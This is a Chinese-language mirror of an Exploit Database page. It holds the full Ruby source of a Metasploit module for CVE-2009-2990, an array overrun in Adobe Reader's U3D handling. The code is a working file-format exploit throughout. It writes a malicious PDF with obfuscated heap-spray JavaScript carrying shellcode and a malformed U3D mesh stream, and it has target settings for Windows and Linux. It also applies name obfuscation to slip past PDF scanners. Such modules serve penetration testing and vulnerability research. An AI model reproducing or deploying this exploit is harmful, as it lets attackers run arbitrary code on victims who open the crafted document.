Adobe – U3D CLODProgressiveMeshDeclaration Array Overrun (Metasploit) (1)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/16309/

• ##
  # $Id: adobe_u3d_meshcont.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'zlib'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::FILEFORMAT
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
  			'Description'=> %q{
  					This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
  				Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
  				specially crafted pdf that a contains malformed U3D data, an attacker may
  				be able to execute arbitrary code.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
  					'jduck'
  				],
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2009-2990' ],
  					[ 'OSVDB', '58920' ],
  					[ 'BID', '36665' ],
  					[ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
  					[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space' => 1024,
  					'BadChars'=> "\x00",
  					'DisableNops'	 => true
  				},
  			'Targets'=>
  				[
  					# test results (on Windows XP SP3)
  					# reader 7.0.5 - untested
  					# reader 7.0.8 - untested
  					# reader 7.0.9 - untested
  					# reader 7.1.0 - untested
  					# reader 7.1.1 - untested
  					# reader 8.0.0 - untested
  					# reader 8.1.2 - works
  					# reader 8.1.3 - works
  					# reader 8.1.4 - untested
  					# reader 8.1.5 - untested
  					# reader 8.1.6 - untested
  					# reader 9.0.0 - untested
  					# reader 9.1.0 - works
  					[ 'Adobe Reader Windows Universal (JS Heap Spray)',
  						{
  							'Index'		=> 0x01d10000,
  							'Platform'	=> 'win',
  							'Arch'		=> ARCH_X86,
  							'escA'		=> 0x0f0f0f0f,
  							'escB'		=> 0x16161616,
  							'escC'		=> 0x1c1c1c1c
  						}
  					],
  
  					# untested
  					[ 'Adobe Reader Linux Universal (JS Heap Spray)',
  						{
  							'Index'		=> 0xfffffe3c,
  							'Platform'	=> 'linux',
  							'Arch'		=> ARCH_X86,
  							'escA'		=> 0x75797959,
  							'escB'		=> 0xa2a2a2a2,
  							'escC'		=> 0x9c9c9c9c
  						}
  					]
  				],
  			'DisclosureDate' => 'Oct 13 2009',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('FILENAME', [ true, 'The file name.','msf.pdf']),
  			], self.class)
  
  	end
  
  
  
  	def exploit
  		# Encode the shellcode.
  		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  
  		# Make some nops
  		nops= Rex::Text.to_unescape(make_nops(4))
  
  		# prepare the pointers!
  		ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
  		ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
  		ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
  
  		script = <<-EOF
  var nopz = unescape("#{nops}");
  function mkSlice(stringy,size,rest){
  	while (stringy.length <= size/2)
  		stringy += stringy;
  	stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
  	return stringy;
  };
  
  function spray(escA,escB,escC,escShellcode){
  	var loop1;
  	var pointersA = unescape(escA);
  	var pointersB = unescape(escB);
  	var pointersC = unescape(escC);
  	var shellcode = unescape(escShellcode);
  
  	pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
  	pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
  	pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
  	nop_slide = mkSlice(nopz,0x100000, shellcode.length);
  	var xarr = new Array();
  	for (loop1 = 0; loop1 < 400; loop1++) {
  		if(loop1<100)
  			xarr[loop1] = pointersA_slide+pointersA;
  		else if(loop1<200)
  			xarr[loop1] = pointersB_slide+pointersB;
  		else if(loop1<300)
  			xarr[loop1] = pointersC_slide+pointersC;
  		else
  			xarr[loop1] = nop_slide+shellcode;
  		}
  		return xarr;
  	};
  	var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
  	this.pageNum = 1;
  EOF
  
  		# Obfuscate it up a bit
  		script = obfuscate_js(script,
  			'Symbols' => {
  				'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
  				'Methods' => %W{ mkSlice spray }
  			}).to_s
  
  		# create the u3d stuff
  		u3d = make_u3d_stream(target['Index'], "E" * 11)
  
  		# Create the pdf
  		pdf = make_pdf(script, u3d)
  
  		print_status("Creating '#{datastore['FILENAME']}' file...")
  
  		file_create(pdf)
  	end
  
  
  	def obfuscate_js(javascript, opts)
  		js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
  		js.obfuscate
  		return js
  	end
  
  
  	def RandomNonASCIIString(count)
  		result = ""
  		count.times do
  			result << (rand(128) + 128).chr
  		end
  		result
  	end
  
  	def ioDef(id)
  		"%d 0 obj\n" % id
  	end
  
  	def ioRef(id)
  		"%d 0 R" % id
  	end
  
  	#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  	def nObfu(str)
  
  		result = ""
  		str.scan(/./u) do |c|
  			if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
  				result << "#%x" % c.unpack("C*")[0]
  			else
  				result << c
  			end
  		end
  		result
  	end
  
  	def ASCIIHexWhitespaceEncode(str)
  		result = ""
  		whitespace = ""
  		str.each_byte do |b|
  			result << whitespace << "%02x" % b
  			whitespace = " " * (rand(3) + 1)
  		end
  		result << ">"
  	end
  
  
  	def u3d_pad(str, char="\x00")
  		ret = ""
  		if (str.length % 4) > 0
  			ret << char * (4 - (str.length % 4))
  		end
  		return ret
  	end
  
  
  	def make_u3d_stream(index, meshname)
  
  		# build the U3D header (length will be patched in later)
  		hdr_data = [1,0].pack('n*') # version info
  		hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
  		hdr = "U3D\x00"
  		hdr << [hdr_data.length,0].pack('VV')
  		hdr << hdr_data
  
  		# mesh declaration
  		decl_data = [meshname.length].pack('v')
  		decl_data << meshname
  		decl_data << [0].pack('V') # chain idx
  		# max mesh desc
  		decl_data << [0].pack('V') # mesh attrs
  		decl_data << [0xc322].pack('V') # face count
  		decl_data << [0x6226].pack('V') # position count
  		decl_data << [0x24966].pack('V') # normal count
  		decl_data << [0].pack('V') # diffuse color count
  		decl_data << [0].pack('V') # specular color count
  		decl_data << [0].pack('V') # texture coord count
  		decl_data << [1].pack('V') # shading count
  		# shading desc
  		decl_data << [0].pack('V') # shading attr
  		decl_data << [1].pack('V') # texture layer count
  		decl_data << [0].pack('V') # texture coord dimensions
  		decl_data << [0].pack('V') # original shading id
  		# minimum resolution
  		decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
  		# quality factors
  		decl_data << [0x12c].pack('V') # position quality factor
  		decl_data << [0x12c].pack('V') # normal quality factor
  		decl_data << [0x12c].pack('V') # texture coord quality factor
  		# inverse quantiziation
  		decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
  		decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
  		decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
  		decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
  		decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
  		# resource params
  		decl_data << [0x3f666666].pack('V') # normal crease param
  		decl_data << [0x3f000000].pack('V') # normal update param
  		decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
  		# skeleton description
  		decl_data << [0].pack('V') # bone count
  		# padding
  		mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
  		mesh_decl << decl_data
  		mesh_decl << u3d_pad(decl_data)
  
  		# build the modifier chain
  		chain_data = [meshname.length].pack('v')
  		chain_data << meshname
  		chain_data << [1].pack('V') # type (model resource)
  		chain_data << [0].pack('V') # attributes (no bounding info)
  		chain_data << u3d_pad(chain_data)
  		chain_data << [1].pack('V') # number of modifiers
  		chain_data << mesh_decl
  		modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
  		modifier_chain << chain_data
  
  		# mesh continuation
  		cont_data = [meshname.length].pack('v')
  		cont_data << meshname
  		cont_data << [0].pack('V') # chain idx
  		cont_data << [0].pack('V') # start resolution
  		cont_data << [0x1000].pack('V') # end resolution
  		# 4096 continuation blocks
  		cont_data << [index].pack('V') # split position index
  		cont_data << [0].pack('v') # new diffuse color count
  		cont_data << [0].pack('v') # new specular color count
  		cont_data << [0].pack('v') # new text coord count
  		cont_data << [0].pack('V') # new face count
  		# unknown data
  		cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
  		cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
  		cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
  		cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
  		cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
  		cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
  		cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
  		cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
  		cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
  		cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
  		cont_data << "\xe9\x10\x9d\x6b\x06\x00"
  		cont_data << "\x50" # pad
  		mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
  		mesh_cont << cont_data
  		#mesh_cont << u3d_pad(cont_data)
  		mesh_cont << "\xa2\x00" # manual padding
  
  		data = hdr
  		data << modifier_chain
  		data << mesh_cont
  
  		# patch the length
  		data[24,4] = [0x2b680].pack('V') # hardcode the data length
  
  		if index == 0x01d10000
  			#laziest hack ever! Another index must be found for using the following
  			# stream in windows.. and a lot of tests shoul be done.
  			return data
  		end
  
  
  		# linux version
  		# build the U3D header (length will be patched in later)
  		hdr_data = [1,0].pack('n*') # version info
  		hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
  		meta_str1 = "alalala0"
  		meta_str2 = "\xa8" * 1024
  		hdr_meta = [1].pack('V')
  		hdr_meta << [meta_str1.length].pack('v')
  		hdr_meta << meta_str1
  		hdr_meta << [1].pack('V')
  		hdr_meta << [meta_str2.length].pack('V')
  		hdr_meta << meta_str2
  		hdr = "U3D\x00"
  		hdr << [hdr_data.length,hdr_meta.length].pack('VV')
  		hdr << hdr_data
  		hdr << hdr_meta
  		hdr << u3d_pad(hdr_meta)
  
  		# mesh declaration
  		decl_data = [meshname.length].pack('v')
  		decl_data << meshname
  		decl_data << [0].pack('V') # chain idx
  		# max mesh desc
  		decl_data << [0].pack('V') # mesh attrs
  		decl_data << [0xc322].pack('V') # face count
  		decl_data << [0x6626].pack('V') # position count
  		decl_data << [4].pack('V') # normal count
  		decl_data << [0].pack('V') # diffuse color count
  		decl_data << [0].pack('V') # specular color count
  		decl_data << [0].pack('V') # texture coord count
  		decl_data << [1].pack('V') # shading count
  		# shading desc
  		decl_data << [0].pack('V') # shading attr
  		decl_data << [0].pack('V') # texture layer count
  		decl_data << [0].pack('V') # original shading id
  		# no texture coord dimensions
  		decl_data << [0x64].pack('V') # minimum resolution
  		decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
  		# quality factors
  		decl_data << [0x12c].pack('V') # position quality factor
  		decl_data << [0x12c].pack('V') # normal quality factor
  		decl_data << [0x12c].pack('V') # texture coord quality factor
  		# inverse quantiziation
  		decl_data << [0].pack('V') # position inverse quant
  		decl_data << [0].pack('V') # normal inverse quant
  		decl_data << [0].pack('V') # texture coord inverse quant
  		decl_data << [0].pack('V') # diffuse color inverse quant
  		decl_data << [0].pack('V') # specular color inverse quant
  		# resource params
  		decl_data << [0].pack('V') # normal crease param
  		decl_data << [0].pack('V') # normal update param
  		decl_data << [0].pack('V') # normal tolerance param
  		# skeleton description
  		decl_data << [0].pack('V') # bone count
  		# padding
  		mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
  		mesh_decl << decl_data
  		mesh_decl << u3d_pad(decl_data)
  
  		# build the modifier chain
  		chain_data = [meshname.length].pack('v')
  		chain_data << meshname
  		chain_data << [1].pack('V') # type (model resource)
  		chain_data << [0].pack('V') # attributes (no bounding info)
  		chain_data << u3d_pad(chain_data)
  		chain_data << [1].pack('V') # number of modifiers
  		chain_data << mesh_decl
  		modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
  		modifier_chain << chain_data
  
  		# mesh continuation
  		cont_data = [meshname.length].pack('v')
  		cont_data << meshname
  		cont_data << [0].pack('V') # chain idx
  		cont_data << [0].pack('V') # start resolution
  		cont_data << [0x100].pack('V') # end resolution
  		# 256 continuation blocks
  		cont_data << [index].pack('V') # split position index
  		# unknown data
  		cont_data << [1].pack('V') * 10
  		cont_data << "Feli" * 20
  		mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
  		mesh_cont << cont_data
  		mesh_cont << u3d_pad(cont_data)
  
  		data = hdr
  		data << modifier_chain
  		data << mesh_cont
  
  		# patch the length
  		data[24,4] = [0x174].pack('V') # hardcode the data length
  		return data
  
  	end
  
  	def make_pdf(js, u3d_stream)
  
  		xref = []
  		eol = "\x0a"
  		obj_end = "" << eol << "endobj" << eol
  
  		# the header
  		pdf = "%PDF-1.7" << eol
  
  		# filename/comment
  		pdf << "%" << RandomNonASCIIString(4) << eol
  
  		# js stream
  		xref << pdf.length
  		compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
  		pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
  		pdf << "stream" << eol
  		pdf << compressed << eol
  		pdf << "endstream" << eol
  		pdf << obj_end
  
  		# catalog
  		xref << pdf.length
  		pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
  		pdf << nObfu("/Pages ") << ioRef(5)
  		pdf << nObfu("/OpenAction ") << ioRef(8)
  		pdf << nObfu(">>")
  		pdf << obj_end
  
  		# outline
  		xref << pdf.length
  		pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
  		pdf << obj_end
  
  		# kids
  		xref << pdf.length
  		pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
  		pdf << ioRef(9) << " " # empty page
  		pdf << ioRef(10) # u3d page
  		pdf << nObfu("]>>")
  		pdf << obj_end
  
  		# u3d stream
  		xref << pdf.length
  		pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
  		pdf << "stream" << eol
  		pdf << u3d_stream << eol
  		pdf << "endstream"
  		pdf << obj_end
  
  		# u3d annotation object
  		xref << pdf.length
  		pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
  		pdf << "/3D/3DA <</A/PO/DIS/I>>"
  		pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
  		pdf << obj_end
  
  		# js dict
  		xref << pdf.length
  		pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
  
  		# page 0 (empty)
  		xref << pdf.length
  		pdf << ioDef(9) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
  		pdf << nObfu(" >>")
  		pdf << obj_end
  
  		# page 1 (u3d)
  		xref << pdf.length
  		pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
  		pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
  		pdf << nObfu(">>")
  		pdf << obj_end
  
  		# xrefs
  		xrefPosition = pdf.length
  		pdf << "xref" << eol
  		pdf << "0 %d" % (xref.length + 1) << eol
  		pdf << "0000000000 65535 f" << eol
  		xref.each do |index|
  			pdf << "%010d 00000 n" % index << eol
  		end
  
  		# trailer
  		pdf << "trailer" << eol
  		pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
  		pdf << "startxref" << eol
  		pdf << xrefPosition.to_s() << eol
  		pdf << "%%EOF" << eol
  
  	end
  
  end